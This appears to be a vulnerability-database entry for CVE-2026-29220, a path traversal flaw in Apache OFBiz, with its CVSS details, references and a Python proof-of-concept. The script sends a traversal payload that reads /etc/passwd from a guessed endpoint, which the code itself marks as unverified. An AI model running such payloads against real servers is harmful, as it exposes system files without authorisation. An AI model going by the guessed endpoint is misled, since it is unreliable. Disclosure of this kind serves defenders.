CVE-2026-29220

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE

Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_path_traversal(url):
    # Target endpoint example (needs verification against actual vulnerable endpoint)
    target = f"{url}/webtools/control/filename"
    # Malicious payload attempting to read /etc/passwd
    payload = {"path": "../../../../etc/passwd"}
    try:
        response = requests.get(target, params=payload, timeout=10)
        if "root:x" in response.text:
            print(f"[+] Vulnerability confirmed at {url}")
            print(response.text[:200])
        else:
            print(f"[-] Vulnerability not detected or patched.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target_url = "http://127.0.0.1:8080"
    check_path_traversal(target_url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29220
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29220
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29220/
[4] VulDB https://vuldb.com/cve/CVE-2026-29220
[5] https://lists.apache.org/thread/5hjnmt9no6mmtg8sxq3mhonzff1vkd5m
[6] http://www.openwall.com/lists/oss-security/2026/05/19/15

Raw JSON Data

JSON

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